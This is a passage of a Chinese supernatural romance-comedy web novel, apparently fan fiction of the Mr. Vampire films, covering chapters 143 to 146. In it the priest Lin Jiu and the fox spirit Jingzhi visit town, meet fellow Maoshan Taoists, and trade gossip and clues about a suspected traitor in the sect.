静之怨念满满,捏着他的两颊报复性的搓揉。 林九没有说话,只是扶着她的腰,看着她笑得温柔。 同时,也笑得静之心里直发虚。 “你到底怎么了嘛?” 林九决定,还是要把事实告诉她,不然整天这样追来追去,他也心累。 …… 听完林九的描述后,静之不由咕咚一声,咽了口唾沫。 “你是说,你可以……” “我那天,还对你做出那种事儿了?!” 我嘞个豆,她喝了酒以后,这么生猛的吗? 林九微微垂下眸子,有些长的眼睫投下淡淡的阴影,挡住了他眼里的光。 板着的脸,无端生出一股委屈。 “是真的。” 他侧头微微撩开一点领口,把“证据”秀给她看。 两天了,牙印跟草莓印都还未完全消退,给静之整个看得目瞪口呆。 “你……我……我不是故意的,我……” 林九嘴角微微下垂,声线也低了两个度,仿佛真受了委屈,他眼睛睁大了些,好像要她给个说法,“都这样了,你说句不是故意的,就打算揭过了吗?” “我,那个,我会对你负责的。” “好,那你先还我一点利息。” 眸中绿光又现,静之有些发慌,她下意识回头看向门口,却发现林九早就把门窗闭紧了。 不对,他是不是学坏了? 她是不是被骗了? 小猫开始起了警惕心。 就在林九以为她又想逃跑的时候,她却主动得让他有些招架不住。 她解开一颗扣子,把雪白的脖颈伸了过去,还豪迈的拍了拍,“大哥,来,小弟的脖子今天就是你的了!” 林九:……她是懂破坏气氛的。 林九不想咬,有个人倒是想咬得紧。 小僵尸一蹦一蹦的从书架后头跳出来,两眼不错开,死死的盯着她白到发光的脖颈,眼里的绿光比之刚刚的林九不知亮了多少倍。 “啾啾,我,让我来!” 声音有些脆生,林九跟静之却同时一脸震惊的回过头去。 林九(⊙_☉):“你什么时候会说话了?” 静之(●′?`●):“儿砸,先叫娘!!!” 小僵尸挠头,不是正讨论咬脖子的事儿吗? 不过,他还是很识时务的叫了一声: “娘!咔咔。” 小僵尸老实巴交。 一双长满利甲的小手规规矩矩交叠放在身前。 他叫了的,这下脖子能有他啃一口的份儿了吗? 林九看懂了他的眼神,他紧紧揪住静之两边的领口,快速给她扣上扣子。 “想都别想!” 这脖子,只有他一个人可以啃! 不过,此时的林九也就是想想而已,真叫他下嘴,他还是没那个脸…… 第143章 老熟人真多 该进镇的这天,终于还是到了。 以防被其他道士看出异样,静之化作白猫蹲在林九肩头,还用幻术隐去了她几条尾巴,只留一条在外头。 从外表上看,她现在就是一只几个月大,人畜无害的小白猫。 此时,她正放低身子伏在林九脑袋旁边咬耳朵,“阿九阿九,小雨就这么给他一个尸放义庄没事吗?” “哎呀,哪里是一个尸!”秋生拔下嘴里的狗尾巴草,两手圈了一大圈,“是一屋子尸陪着他,有什么不放心的。” 静之翻了个白眼,“你懂个锤子。” 小雨跟其他死尸不一样,这几天他越来越精了,智商慢慢回归,举动也越来越像人,甚至连他的黑眼圈也淡化了一点。 万一他们不在家,他有了异变可咋整。 秋生抱着脑袋呲笑一声,“好啦,就你懂!” 他突然跑到林九身侧,有些期待的说: “师父,好久不进城,我等会能不能去我姑妈店里看看?” 林九侧头,表情带着一点欣慰,“我还以为你跟小雨玩得乐不思蜀了,难为你还能想起你姑妈!” 秋生挠头,“嘿嘿,是她把我养大的嘛,去看看也是应该的。” 林九点头,“可以去,但不能留宿,天黑前,记得回义庄。” “好嘞!” …… 林九一行人终于进镇。 许久未来镇上,这里的人倒是越发多了起来,街上熙熙攘攘,各色叫卖声此起彼伏。 期间又夹杂着小贩和行人对林九的问好声。 “九叔早啊,许久没见到您了!” “九叔,许久不见,你好像年轻不少啊!” “九叔来条鱼吗?这鱼是我刚抓的,你看活蹦乱跳的。” 林九驻足,回头看了一眼芭蕉叶兜住的一浅池鱼儿,“好,给我留两条,等会忙完我回来拿。” 边说着,他掏出零钱放在桌上。 “好嘞!给您留两条大的!” …… 刚一转身,耳朵尖尖就传来一阵湿濡。 静之用微湿的小鼻头轻轻碰了一下他耳朵,“嘿,阿九,今天还回去吃鱼呀?” 耳朵尖尖突然被涌上的血液染红,他轻咳了一声,“从那天晚上吃了一次以后,就没给你做过了。” 他有些迟疑,“你不想吃了?” 难道她这么快就吃腻了? 静之摇了摇尾巴,突然动作微顿,想起他看不到,于是拿左爪子挥动两下,“想,阿九做的我都爱吃。” “哟哟哟~”秋生把头贴住文才,一手穿过后脖颈捏住他的脸,学着静之的声音夹着嗓子说: “阿九做的我都爱吃~” 他侧头看向他亲爱的师弟,“哦~” 静之把头埋进两个前爪里。 林九投去死亡视线,文才赶紧扒拉下他脸上的手,吞吞吐吐的说:“师,师父,我可没说,不关我事啊!” 林九冷冷哼了一声,“不是要去你姑妈家,还不赶紧去!” “得嘞!” 秋生屁股往前一缩,躲过他师父踹过来的一脚,然后拨开人群,朝着他姑妈家的方向挤去。 人群被他一个分流,纷纷朝两边推挤。 突然,一个穿着白衣长裙的姑娘被推到文才怀里。 “啪!” 突如其来的一巴掌,把本就发懵的文才扇得更懵了。 “下流!” “别这么暴躁。” 静之闻声望去,原来是一位裹着白色头巾做修女打扮的大姐,她身后还跟着五六个年轻的修女,正愤愤的看着文才。 林九皱眉看向文才,“怎么回事?” 文才捂着脸一脸委屈,“我什么都没干,她自己跌到我旁边,我好心扶一把就被她打了。” 大姐一脸尴尬,“那个,对不起啊,人实在太多了。” 她回头低声训斥那个还愤愤不平,扯她头巾的姑娘,“人家真不是故意的,给他道歉!” “可是他!” “道歉!” 小姑娘咬咬牙,恨恨的朝文才挤出一声“对不起”,便一跺脚,从人群里跑走了。 大姐转过身朝林九讪笑一下,“我代她给您道歉,小孩子不懂事,希望您别放在心上。” 林九也不是那爱纠缠的人,一看旁边都是叽叽喳喳的小姑娘,他浑身不自在,赶紧应付性嗯了一声,朝任家走去。 走到半路,二人一猫又遇到了个老熟人。 “师兄啊,你终于肯出山啦?” “蔗姑?” 静之刚唤一声,俩爪子赶紧捂住嘴筒子。 蔗姑看着那毛绒绒的白色猫咪,手指蠢蠢欲动。 忍了许久,实在没忍住,掐着静之的胳肢窝一把拎起,就把她搂进怀里一顿揉搓。 “哎呀,师兄你可真好命,这毛油光水滑的,这圆圆的小脑袋,这软软的小肉垫子,呦!还是粉色的!” 她抱着静之怼了怼林九肩膀,“嘿嘿,要不给我养吧,我那儿的灵婴天天都在想她呢!” 静之头一遭被迫埋胸,鼻尖全是蔗姑身上的女人香和淡淡烟味,得亏她毛厚,不然小猫脸现在肯定是通红通红的。 挣扎了许久,才把嘴筒子从她胸口处拔出来。 林九想把静之抢回来,但蔗姑好像故意似的,又把静之的头摁进她胸口。 林九伸出去的手僵住了。 “……你这是干什么?快把她还我!” 蔗姑一脸嘚瑟,手上不停摸着顺滑柔软的猫背,一路从猫猫后脑勺撸到了尾巴尖。 “不要!除非你答应让她去我那儿玩几天!” 林九气得吹胡子瞪眼,“胡闹!不许这样摸她,你明知道……” 话还没说完,他俩身后就传来一道严厉的声音。 “说她胡闹,你不也正胡闹着吗?不进去都围在这里做什么?!” 二人回头一看。 眉飞入鬓,面无表情却气场强大,身穿黑白八卦袍,不是他们大师兄石坚又是谁。 蔗姑一见这个严肃到不近人情的大师兄,就真的成了鹧鸪了。 她抱着静之往左挪了两步,把自己一点一点藏在林九身后,“大,大师兄,您也来啊?” 石坚一向看不上蔗姑这副畏畏缩缩的样子,他冷冷瞥了她一眼,便把视线聚焦到她怀里的静之身上。 一百多年来,从未有人给过她如此之大的危机感,他的视线好似扫描仪一般,一点一点掠过她的皮毛,仿佛要看穿她的本质。 静之吓得尾巴都僵住了,猫猫头直往蔗姑胳肢窝里塞。 “哼!什么人养什么样的猫,一点胆子都没有!” 蔗姑揪着林九一点衣服,在他身后小声哔哔:“总好过你偷养儿子,敢生不敢认。” 石坚怒目圆睁:“你说什么!” 林九往右去了一步,用自己宽阔的肩膀彻底挡住蔗姑和静之,他朝石坚恭敬做了个揖: “大师兄,好久不见。” “哼!这么久才打招呼,林凤娇,你眼里还有我这个师兄吗?” 说罢,他一拂衣袖,带着一年轻人走进了任家大院。 “……阿九,他好凶哦……话说,你不是本名林正英,化名林九吗?林凤娇还是你的名?” 蔗姑见大师兄走远,而静之又顶着一头乱毛,可可爱爱的问这个问题,她笑得花枝乱颤,又给静之好一通搓揉,这才揩去眼角笑出的泪水说: “他本名就是林凤娇啊!哈哈哈!” 林九夺过快被她笑到抖落的静之,羞愤怒骂:“笑什么笑!还不进去!” 静之昂起头看着他的红脖子,犹如山竹瓣的前爪搭了搭他的红手,“阿娇也好听的。” 话刚说完一秒,嘴筒子就被握住。 “……你也闭嘴。” 第144章 凶手到底是谁 任家会客厅本来挺宽敞的,然而婷婷给出了50大洋酬劳,所以几乎附近几个镇的道士都闻风而至,每个道士或多或少带上了一两个徒弟。 十几个座位坐得满满当当,有几个年轻的,甚至都得站在他们师父身后。 静之抬眼,就这么一溜儿看过去,明晃晃一片道士黄,她忍不住暗暗啧舌。 这鬼来了,也得踢正步走啊。 然而,这一票人的气势远远没有婷婷左手位的石坚足。 他光是坐在那儿,就让人不敢直视。 他身后站着的年轻人,倒是嘴边常含着一抹自得的微笑看向众人。 石坚坐在婷婷左手边,林九就坐在婷婷右手边,而蔗姑怕她大师兄怕得要命,坐在靠门口的位置,连同静之一起。 没错,静之被林九托付给蔗姑看管一会儿。 他师兄可是宁可错杀一百,也不放过一个的狠人,绝对不能让他看出静之的身份。 …… 婷婷今天穿的非常正式,传统中式襦裙,颜色为庄重的墨蓝色,她脸上神情颇有任父之风,不卑不亢,又带着一丝商人的精明。 看来这一段时间,婷婷倒是成长了许多。 她举手投足间,面料上隐隐反射出的牡丹金纹让贪财的几个道士皆是眼前一亮,他们纷纷转头与自家徒弟窃窃私语。 什么这次来对了,一定要好好敲一笔,不知道小费有多少,这种话尽入静之的耳朵里。 没办法,耳朵太好使也是一种折磨。 就在这时,几位婢女给众人端上了茶水点心,婷婷见人来齐了,便站起身子,清了清嗓子说: “多谢诸位百忙之中抽中前来,我们任家这次邀请各位,是为了寻一处风水好的位置建一个绸缎庄,酬金为五十大洋,不知各位这几天,可有看好什么位置了?” 她的视线从左往右扫了一圈众人,落到远处的白猫身上后,停了一秒,又落到林九身上。 却是没有停留,双手一拍,一仆人当即端了个木匣子上来,缓缓打开。 五十大洋整整齐齐码在里头,就连石坚这种只接大单的道士,也跟着眼前一亮。 毕竟,这种单子钱多事少,不用驱鬼又没僵尸,危险性几乎为零,妥妥的美差一件! 几个道士忍不住站起身子往前凑了凑,七嘴八舌说了起来。 他们想着,多说两句好话,不然挤到跟前刷个脸熟,给主家留个好印象,万一她一高兴,就打赏给他们一点小费呢。 林九没搭话,他四平八稳坐着,手中端起茶盏,慢悠悠撇着茶沫,一双锐利的眼睛藏在茶盏后轻轻转动,不着痕迹,又极为细致的观察着众人神情。 就在这时,石坚被众人叽叽喳喳的声音吵得脑袋疼,他揉了揉眉心,忍不住斜眼看向同样沉默着的林九。 “师弟为何一言不发,此份邀约自你坐镇的任家镇发出,任家……竟是未直接找你吗?” 他的语气里带着点疑惑和惯有的讥讽,林九却未曾怀疑他。 其一,是因为他大师兄从来就看不惯他这个半路出家的道士,故而,每次跟他说话都夹枪带棒。 他这态度,林九都习惯了。 其二,是因为石坚有不在场证据。 蔗姑那个碎嘴子每次一有什么八卦,总爱传信说给他听。 听说他大师兄这次特意出了个远门,去s省接回来一个年轻男子,据蔗姑猜测,那男的估计就是他大师兄流落在外的私生子。 不过,他大师兄过段时间,不是要接任掌门职位的吗? 生子无过,可未婚生子,是不是有些太过了? “林凤娇!你的礼节是被狗吃了吗?” 竟敢不理他? 以为下山收徒,翅膀就硬了不成?! 林九回过神,放下茶盏,朝石坚微微低头,“抱歉,师兄,我想点事,一时有些走神。” “哼!” …… 前面修罗场,靠近门那一块儿就是菜市场。 这些个道士,坐哪里,怎么坐,都挺有讲究的。 按资历,按本事,排到后面的,基本就是一些无名小卒,除了蔗姑。 此时,静之已经被蔗姑小声科普了一大堆这些道士们的八卦了。 “师兄邻座那位道士叫茅山明,听说巨巨巨不爱干净,剔牙,搓脚趾缝,扣屁股,上完厕所还不洗手,还爱欺负两个徒弟。” “往下数第二位,听说上门驱鬼的时候,给人家的闺女迷晕了,霸王硬上弓,害得那个女孩一时想不开投河自尽,没想到这回他还敢来!” “快看快看,坐他对面那位更了不得了,听说他直接养了个女娃娃当徒弟,没想到那女娃不到十四,就被他奸污了,这个人渣还始乱终弃! 你看他后头站着的那个,是不是有些矮,那是他新收的徒弟,也是个女孩子,整天叫她女扮男装跟他出来寻活计,实际上是为了方便伺候他,啧啧啧,真是禽兽。” …… 静之:啊,她话好多啊…… 静之完全插不上嘴。 她也插不了嘴,因为林九怕她露馅,给她嘴巴下了禁制。 这一个个突如其来的八卦,炸得她脑瓜子嗡嗡直响。 话说,蔗姑为什么知道得这么详细,她是趴人家床底下偷听了吗? 简直是天生狗仔圣体啊。 那他们今天还设局干什么,直接问蔗姑,说不定能问到更有用的线索呢? “啪!” 突闻一声拍桌响,把在场的所有人都吓了一跳。 有脾气不好的,立马站了起来。 转头一瞧,拍桌子的人是石坚。 他讪笑了两声,赶紧坐回去。 惹不起惹不起。 茅山大师兄,要实力有实力,要脾气有脾气,他看今天这单他是接不成了。 于是随意跟婷婷寒暄两句,便拱手告辞。 有了第一个,就有第二个。 原本略显拥挤的客厅,陆陆续续走了不少人。 这会儿,走得只剩下石坚和林九了。 蔗姑早在石坚拍桌子的时候,就吓得直奔院子了。 这会儿正躲在门外,鬼鬼祟祟朝林九招着手。 林九瞥一眼她,和她怀里的静之,回头朝石坚一拱手, “师兄,既然任家有意让你接此单,那我先行一步了。” 看风水这种事,对石坚来说,犹如吃饭喝水一样简单。 既然主家答应,那五十大洋相当于已经稳稳落入他的口袋。 这会儿,石坚心情正好,他也不讽林九了,随意朝他扬了扬手,“走吧,有些细节,我再跟她谈谈。” 林九点头告退。 刚出院子,静之就从蔗姑怀里跳到他肩膀上,不停用嘴筒子蹭着他的脖颈,还不停呜呜叫。 皇家翻译:【解开,快给我解开!我要跟蔗姑聊两句八卦啊,可憋死我了!】 林九脖颈被蹭得微湿,他起了一身鸡皮疙瘩,呼吸都乱了一瞬,赶紧把静之从肩膀上转移到怀里。 径直走到人烟稀少的巷口,念了几句咒语,才轻点一下她的嘴,“别捣蛋,这是在外头。” 禁制一除,太久没说话,静之连舌头都不知道怎么放了,她深吸一口气,然后说: “阿嘎!” “咳咳,哈哈哈哈哈!” 蔗姑笑得前仰后合,大腿都要拍烂了。 小猫脑袋在她肆意的笑声中越垂越低。 她两爪互踩,嘴筒子一张一合,小声嘀咕:“笑屁,不就是没夹住嘛!” 她是想叫阿九来着的。 突然,脑袋上落下一只温暖的大手,轻轻揉了两把她毛绒绒的立耳,低沉的声音自上方传来,“先回去。” 他的声音里带着些宠溺和笑意。 蔗姑笑不出来了。 回去? 回义庄吗? 她疾走两步跟上林九,“喂,说好让她给我养两天呢!” 林九斜她一眼,抬脚就走,“我答应了吗?” 蔗姑愣了一秒,然后暴跳如雷,“好啊你,林正英,你耍我?!” 她撸起袖子就要当街抢猫,林九侧身避过。 然后左穿右挤,越过拥挤的人群,脚步依旧走得又稳又快,还不时能给蔗姑使两个绊子。 他一脸得逞微笑,走到鱼摊提走鱼,就朝镇子口走去。 “师父,哎呀,你们等等我!” 菜鸡文才,连走路都比别人慢一步,老远坠在后面。 静之回头,看着在人群中一跳一跳的文才,突然想起去了许久的秋生,“阿九,不等秋生吗?” “不用,他估计都已经回去了,我们已经坐了许久了。” 林九抬头挡住阳光看了看天色,“都过午时了,早点回去。” 她还没吃饭呢,他还得回去给她做饭。 就在这时,蔗姑终于追了上来,她趁林九手没空,一把将静之抱进怀里,“嘿!还不抓到你,我去你义庄住一天怎么样啊?” 静之:“好啊好啊!” 她回头看向林九,“阿九,蔗姑知道好多那些道士的小秘密啊,我们可以问问她呀!” 本欲拒绝蔗姑的林九,想到蔗姑收集情报的本事,只能勉为其难点点头。 毕竟,刚刚那个局,他暂时没看出有什么问题。 他谨慎的看了看身后也要出镇的几个道士,压低声音说:“回去再说。” 静之:“好。” …… 回义庄的路总是人烟稀少,身后没人跟着以后,蔗姑跟静之嘀嘀咕咕说了一路八卦。 两个性子直的人,要混熟其实是很快的。 刚一脚踏入义庄,蔗姑就爽朗的笑出声,“好啊好啊,今晚我们两个一起睡!晚上我再给你讲讲我师兄的往事啊!” “好!”静之专业捧哏。 林九:“?” 林九:“……” 林九:“!!!” 早知道就不让她来了。 第145章 夜聊 “蔗姑你坐会儿,我做盐焗鸡给你吃呀。” 蔗姑坐在亭子里,手里夹着根烟,笑眯眯地对静之说:“好啊,麻烦你了!” 静之摇摇头,随手逮了只鸡,朝蔗姑笑得开心,又一脸期待说: “等会你再给我讲讲那道长的八卦,我刚刚听一半呢!” “好啊,反正我闲着没事干。”蔗姑享受的往后靠,脚下一蹬,摇椅又开始咯吱咯吱的摇了起来。 啊~原来师兄过的是这种日子,他可真是爽死了! 她也想要这种会做饭,会跟她聊天,还会哄她开心的猫猫啊!!! 一想到晚上还有香香软软的小猫咪暖床,蔗姑开心的朝着站在一边,脸黑成翔的林九一挑眉,“师兄啊,要不我多住几天好了,我跟她不知道多聊得来哦~” 林九后槽牙差点咬碎。 “明早你就给我回去,你那庙不用看了吗?!” “哎呀,就几天时间没关系的,不要那么小气嘛,我可以给你交房租啊。” “不行!” 蔗姑双手合十,“我就是想你了,要不……”她竖起一根手指,“再多待一天?” “……最迟明天下午你给我回去!” “咯吱!” 蔗姑用力往后靠,藤椅又开始摇晃起来。 她白嫩的手指朝旁边弹了弹烟灰,又猛吸一口烟,然后叨叨一句:“小气鬼!”把烟往林九的方向喷。 林九后撤一步,避开那团飘过来的烟,嘴角突然勾起一个微不可察的笑容。 他才不告诉她,静之讨厌烟味呢。 林九拎着都快晒成鱼干,开始翻白眼的鱼,三两步越过那个幼稚得不行,还在拿脚绊他的师妹,快速走进厨房。 …… 刚一进门,就看到静之在拔鸡毛。 “要不要我来就好?”她抬头问。 “不用,你忙不过来。” 撩袖子,杀鱼,煎鱼,放水,一气呵成。 林九动作极快,没一会儿就盖上锅盖,朝静之走来。 她怕养太久的鸡肉会太柴,所以挑的是刚养了几个月的鸡,未成熟的鸡幼毛挺多,她拔了半天,还是不怎么干净。 “阿九,来得正好,帮帮……” 看着覆盖在她手背的大手,静之脸色微红,下意识抬起头朝门外看了看。 好在,门外没人。 “你干嘛?”她压低声音问。 蔗姑以前可是喜欢林九的,在她面前跟林九过于亲密的话,实在伤人心,她不想就这么失去一个朋友。 于是静之开始挣扎。 哪知他的手跟钳子似的,越捏越紧,却很有分寸,不会捏痛她。 她鬼鬼祟祟的朝外头又看了一眼,确定没人后,她伸长脖子亲了他一口,“好了,放开我嘛,人家等着吃饭呢。” 林九垂眸,看着她浸在水里的手背,心里有些发堵,“晚上不许跟她睡,你得回来。” 静之拔鸡毛的手指微顿,抬头瞄了一眼他紧抿的嘴唇,又赶紧垂眸掩去眼底的笑意。 她装作有些为难的样子说: “可是我刚刚答应她了,反悔不太好吧。” 林九微微凝噎。 “而且,她上回救了我一命。” 林九微凝噎。 “那天你惹我生气,是她哄我的,还给我一大包糖呢。” 林九凝噎。 “刚刚在镇上,你不是还拜托她照顾我,这个人情也要还一下呀。” 林九噎。 “而且,她性格真的很好,一点不扭捏,我真的蛮喜欢她的。” 林九噎不住了。 “那也不用……跟她一起睡,义庄空房间多的是,我可以叫文才打扫一间出来给她住。” 静之:“她好不容易来一趟,饭桌上问她正事儿不太好,姐妹睡前都会谈谈心的,到时候我找她问问看有没有线索嘛。” 瞧见林九还皱着眉犹豫的样子,她压低声音说:“就一晚,她是女孩子耶,没事的。” 林九反问:“要是我跟秋生睡一起,你什么感受?” 静之:“……师,师徒情深?” “……” “好啦。”静之又啄了一口他的侧脸,然后温柔的注视着他的眼睛问道: “想不想早点跟我成亲?” 林九这辈子可能是个处女座,他又纠结上了。 说想,是不是太不矜持了,说不想,她肯定会伤心的。 然而想的欲望太强烈,犹豫了也就一秒,他就红着脸点点头。 看到他点头的瞬间,静之的心弦猛的被拨动了一下,她终于久违的害羞上了。 两个红着脸的人面面相觑,过了好一会儿,静之拿着湿漉漉的一根手指抵住他靠过来的肩膀,“既然想的话,是不是要尽快查明真相,将凶手一网打尽呢?” 林九捏住他肩上那根手指,心不在焉的点点头,眼神却无比专注的盯着她脸上的红晕看。 她好像很少害羞呢,她害羞的样子也好看。 “反正今晚我跟她睡了哦。”她说。 这回林九没有再阻止,反而化身盯人狂魔,眼睛都不带眨一下的。 静之被他盯得干活都不利索了,于是嗔他一句:“你是进来干什么的,帮忙还是看我?” “……我帮你。” …… 两人干活速度就是快,就是林九仿佛是个被动型人格,一旦他感觉到静之可能要被抢,或者即将有被抢的风险,他就开始愈发黏糊了。 林九今天不坐在饭桌主位了,反而跟静之挤在一张长凳子上,好方便照顾她,也方便阻止对面毛手毛脚的蔗姑。 蔗姑无所谓啊,此时她抖着腿,一手夹着烟,一手拿着鸡腿,快活赛神仙。 “师兄啊,这种小猫你是在哪里捡的,我也想要一只!” 林九睨她一眼,暗戳戳打量静之神色。 话说,静之对蔗姑抽烟的举动没有感到任何不悦吗? 静之:有一点,但是来者是客,她总不能这么直接的表现出来吧。 而且蔗姑抽烟的样子,莫名有一种,有一种……她不知道怎么形容的感觉,看起来有些让她挪不开眼呢。 【作者解释:是攻气,是洪兴十三妹的攻气啊大妹子!!!】 林九:还看?!眼珠子都要掉碗里了。 他偷摸拧一把静之的大腿,眼神愈发幽怨。 蔗姑看着两人的眼神戏,弯弯的眉梢一扬,眼里闪过一丝戏谑。 她吸了一口烟,然后缓缓将口中的烟雾吐出,却是把大部分烟往林九的方向吹,趁机迷惑住他的视线,然后朝一旁的静之眨眨眼放个电,桌子底下的脚,还调皮的抵了抵静之的鞋边边。 静之:她,她好会! 她的脸腾的一下全红了,然而大腿上被拧的那块肉好像更痛了,于是静之赶紧低头喝汤,左手却伸到桌子底下,握住他生气的手指轻拍安抚。 文才来夹了菜以后,就坐得远远的,完全不敢靠过来。 滚。 他师父两只眼睛里明晃晃写着这个字,他可不想找罪受。 话说,他师兄怎么还没回来? 不会是被他姑妈给留下来吃饭了吧? …… 文才这一等,就等到了晚上。 蔗姑洗漱完毕,穿着宽松的衣服来到静之之前的房间,刚一进去,就看到静之又变回原形。 后腿弓起,前腿并着直立,蹲坐得正正的,正拿一双水灵灵的大眼睛瞅着她。 蔗姑激动搓手,“小猫咪,我来啦!” 前脚刚跨入房门,后脚林九就跟了进来。 两人对视一秒。 然后不约而同的出招,边打边往静之这边走。 最终,还是林九更胜一筹。 他极其快速,又甚是轻柔的把静之抱进怀里,走到桌子旁边坐下。 “好了,这回你可以说了吧。” 蔗姑揉着被震痛的手腕,嘴巴一张一合,没有声音发出。 但是一看口型,就知道骂得很脏。 不过,林九有求于她,这点还是让她爽到了。 她走到桌前,拿起桌上的茶杯给自己倒了杯水,一脚踩到凳子上,俯身笑得得意: “你想知道什么啊?” “哐!” “哎呀,你搞偷袭!”她脚下的椅子瞬间被勾走,蔗姑差点一头砸到桌上。 见静之睁大了眼睛看着她,她故作潇洒,顺势一个转身坐到林九对面的椅子上。 “算了,不跟你计较。” 林九手指扣扣桌面,有些不耐的说: “说正事,我怀疑有人阴我们……” ……解释中…… “现在回想起来,那任老太爷第一次跟我们交手后,是被墨斗线缠住的,不应该这么快就能挣脱,而且第二次与他交手,他的实力涨得飞快,简直是越级提升,就算是有任发的血液,也没有那么大的作用。” 静之想了想那把被砍到豁口的关刀,也跟着点点头,“没错,除了眼睛,他可以说得上是刀枪不入了。” 蔗姑脸上的嬉笑隐去,手中的那杯茶水早已凉透,想了好一会儿,她提点了林九几句,“上回郊外遇红白双煞,与我交手的是个水鬼,刚死不久,鬼力不高,却会使我们茅山的禁术,你不觉得奇怪吗?” 林九:“你是觉得…茅山里有内鬼?” 蔗姑点头又摇头,“很多师兄弟甚至师伯师叔都下山收徒了,禁术外泄的可能性也是有的。” 她绞着手指犹豫了半天,才问林九: “这种事,你要不要告诉大师兄啊?茅山弟子以本门秘法被害,他是该管管的。” 林九长长叹了口气,“你也知道,他一向看不起我们这些人,跟他说了没用,更何况……他现在也有自己的事情要做。” 那个私生子怎么安排,还有婷婷的事儿,够他忙活一阵子了。 林九轻轻摸了两下静之的脑袋,“而且,一旦师兄插手此事,她被发现的可能性就更大了。” 提到这个,蔗姑也跟着皱眉头。 “师兄,你是想跟她成亲的吧?” 林九脸红,但坚定点头。 她双手交叉放在桌面,俯下身子看向静之,“咱们门派也不是不能成亲,只是成亲前要上奏掌门,你应该知道的吧,你觉得她不会被发现吗?” 林九眼神顿时一变,然后又慢慢变得坚定,“她跟那些会害人的妖怪不一样,我相信掌门会理解我的。” 蔗姑环胸往后靠在椅背上,“现在的掌门是不会,不过三个月以后,也就是明年一月,就是大师兄接任掌门之位的日子了,你觉得,他一旦发现,会同意你们的婚事吗?” 静之的前爪瞬间勾住林九的衣袖,她的眼里满是焦虑和忧愁,“阿九,怎么办?我,我不要离开你!” 林九一下也陷入了两难境地之中。 亲,是一定要成的。 现如今,只能加快速度寻凶了,留给他们的时间已经不多了。 “今天任家来的那些道友,最近可有奇怪的行踪?” “奇怪?”蔗姑托着下巴边思考边说: “茅山明收了两个鬼帮他做假骗钱,钱道长每次做完法事直奔怡红院,姓李那个人渣又把他徒弟给搞怀孕了,算不算得上奇怪啊?” 静之:“……” 她真的好想知道,蔗姑到底是怎么知道的? 可能是眼神太过直白,蔗姑突袭她的小脑袋,胡乱搓揉一把,然后在林九凶狠的眼神中悻悻收手: “可别忘了我那庙是王母庙,来的人不是给亲人求取姻缘的七大姑八大姨,就是各色有疑难杂症的男女,每人说两句,附近村镇的大小事儿,我不就都知道喽。” 林九见她歪楼了,赶紧抬手制止,“有关我们的,你再想想,其他人的事就不用再说了。” “有关我们的?……哦!” 她一拍桌子,“我想到一个!” “什么?” “什么?” 蔗姑神秘兮兮的凑近脑袋,小小声说: “最新消息,大师兄那个私生子啊,其实不是到外省接的,他一直偷偷将孩子养在咱们省城呢! 这回可能是即将上任,没人拿他有办法,他才敢把私生子带回茅山,不过他还是对外宣称那是他收的徒弟就是了。” “师兄,你猜他有多大胆?”蔗姑又问。 林九眼皮轻轻耷拉下来,眼里闪过一丝危险。 蔗姑撇嘴,但仍兴致勃勃的说: “他给他私生子取名石少坚诶!你说但凡有脑子的,都知道那个年轻人跟他有关系吧!” 静之点点小猫脑袋,“是这样,不然文才可能就不叫文才了,叫林少英。” 刚说完,小猫脑袋就被敲了一下,“瞎说什么?” 静之两个前爪抱头,委委屈屈嘀咕: “事实就是这样的嘛。” 林九没好气的看她一眼,扒拉下她的爪子,帮她揉着脑袋,又问蔗姑,“没有其他消息了吗?” 她知道的,尽是一些男女之间的秘辛,没什么用嘛。 “我知道的就这么多了,我又不是专业搞情报的。” 林九啧了一声,抱着静之起身就要走。 “诶诶诶,把我的猫给我放下!” 林九回头,慢悠悠且十分坚定的说: “这是我的。” 蔗姑颇有一种被人利用完就扔的感觉,她咬牙快速上前两步,又跟林九动起手。 就在这时,秋生的声音由远及近,还带着一股慌乱。 “师父,师父,有鬼跟我回来啦!救命!!!” 两人停手对视。 然后不约而同的冲了出去。 第146章 闺蜜相处! 一出房门,就看到秋生一脸慌张从外头窜了进来,然后跟百米跨栏似的越过亭子的栅栏,径直朝林九冲了过来。 林九脚缝边伸出一个小猫脑袋,好奇地看着狂奔而来的秋生,刚想问他怎么了,一道半透明的白色虚影,从院门外飘了进来。 说她是虚影,是因为静之透过她的身影,能够直接看到后面黑色的大门。 是个女鬼。 是个挺漂亮,但是不正常的女鬼。 一进院子,她仿佛失去了追逐的方向,开始左右徘徊,眼神失去焦距,一副呆呆的样子。 蔗姑一脚踩上栅栏,手肘撑在膝盖上,看清楚魂魄的状况,她凝重的表情瞬间放松下来,带着点调侃对秋生说: “呦,你小子可真有艳福,从哪里勾来的女鬼啊?” 秋生看着他师父冷下来的脸色,疯狂摆手,“没有没有!师父,是她自己跟我回来的,我这回真没乱来,我都不认识她!” “不认识她,她跟着你干什么?” 林九往他身后一瞥,暗骂秋生不争气。 他摘下秋生身后飘扬着的引魂符,随手一抖,符轻轰了一声,火光便映入静之眼帘。 “以后出去小心点,被人下套了都不知道,笨死了!” 静之看着那张丢到地上,燃到一半的陌生符纸,扒拉着林九的裤腿就往上爬。 察觉到她的动作,林九把爬到一半的她轻轻搂进怀里,静之前爪搭一搭他的手背问: “阿九,这鬼,好像跟之前见过的小玉不一样。” 蔗姑掏出一根烟点燃,环着胸举着烟,侧倚在柱子上问: “当然跟普通鬼不一样,不过是个残魂罢了。师兄,要不要我帮你收起来?” 月光下,她那双被升腾起的淡淡烟雾,挡在后面的眼睛,正含着一点笑意和跃跃欲试看着他怀里的小猫。 不秀一手,小猫可不愿意跟她回去呢。 不等林九同意,她屁股坐在栏杆上向后一转,脚上挑起地上的空坛子,右手稳稳接住,左手把烟叼进嘴里,深吸一口。 烟的前段瞬间燃起红色的光芒,她迅速伸出剑指,捻断半截正燃着的烟往瓮口绕了一圈,然后把半截烟往里一丢,手上掐了几个诀往瓮底一拍。 本来黑漆漆的瓮内,突然变得一片明亮,这玄幻的操作给静之看得一愣一愣的。 蔗姑看她目不转睛看着,嘴角一勾,瓮口对准还在游荡的女鬼,剑指往回轻轻一勾,女鬼在眨眼间便被她收进坛中。 盖上盖子后,她把坛子递给秋生。 然后掏出火柴,把嘴上叼着的半根烟重新点燃,不紧不慢的吸了一口。 还没说话呢,怀里突然就多了只猫。 她低头一看,小猫咪双眼放光,两爪合十,对她拜了拜,“蔗姑蔗姑,你刚刚真帅!那招能不能教教我?” 蔗姑一手托着猫咪,转头一脸得意的看着走廊里的林九笑,“行,回房间,我好好教你啊。” 静之:“好好好!快点快点!” 蔗姑:“呵。” 小猫咪,这还不拿下你。 